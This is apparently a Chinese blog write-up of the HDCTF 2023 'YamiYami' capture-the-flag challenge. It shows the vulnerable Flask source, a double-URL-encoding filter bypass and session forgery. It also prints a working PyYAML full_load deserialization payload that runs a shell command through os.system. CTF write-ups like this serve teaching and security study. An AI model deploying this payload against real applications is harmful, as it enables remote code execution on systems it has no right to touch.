[HDCTF 2023]YamiYami python中的另一种反序列化--yaml

今天做了到新颖的题,关于python中的yaml反序列化的题目,直接上题吧。

发现第一个链接的参数是?url=XXXX,一眼利用点。

嗯?直接出了flag,应该是非预期解。再看看有app.py,那就试试。发现app.*被过滤了,二次编码绕过试试。

点击查看代码
@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/pwd">pwd</a>
    '''
@app.route('/pwd')
def pwd():
    return str(pwdpath)
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('app.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m:
            return "re.findall('app.*', url, re.IGNORECASE)"
        if n:
            return "re.findall('flag', url, re.IGNORECASE)"
        res = urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
    return 'no response'

def allowed_file(filename):
   for blackstr in BLACK_LIST:
       if blackstr in filename:
           return False
   return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            return "Empty file"
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            if not os.path.exists('./uploads/'):
                os.makedirs('./uploads/')
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return "upload successfully!"
    return render_template("index.html")
@app.route('/boogipop')
def load():
    if session.get("passport")=="Welcome To HDCTF2023":
        LoadedFile=request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"
if __name__=='__main__':
    pwdpath = os.popen("pwd").read()
    app.run(
        debug=False,
        host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])
最开始做的时候不懂yaml反序列化,后来看了wp发现了,yaml.full_load()将YAML格式的字符串或文件加载成Python对象,造成了反序列化漏洞。那我们的步骤就变为了,伪造session,上传yaml文件(改后缀,因为前面有黑名单,改为txt),boogipop传入参数?file=uploads/1.txt,再在read页面进行文件读取。 seeion伪造需要涉及到uuid,可以看我前边的文章,当然自己搜也可以。得到mac为02:42:ac:02:ff:17。跑脚本获取key。

得到session了,那就开始上传文件,yaml详细解释看 https://www.cnblogs.com/icfh/p/17760855.html

点击查看代码
payload: 我发现很多题只有在tmp下有权限???本人比较穷,所以尽可能以后做题不nc

!!python/object/new:str
  args: []
  state: !!python/tuple
    - "__import__('os').system('cat /tmp/flag_13_114514 > /tmp/1.txt')"  
    - !!python/object/new:staticmethod
      args: []
      state:
        update: !!python/name:eval
        items: !!python/name:list

上传后访问boogipop?file=uploads/1.txt

成功,利用read页面查看/tmp/1.txt

总结:

  1. url二次编码绕过
  2. uuid相关session伪造
  3. yaml.full_load() 触发yaml反序列化
posted @ 2024-05-15 19:50  jockerliu  阅读(67)  评论(0编辑  收藏  举报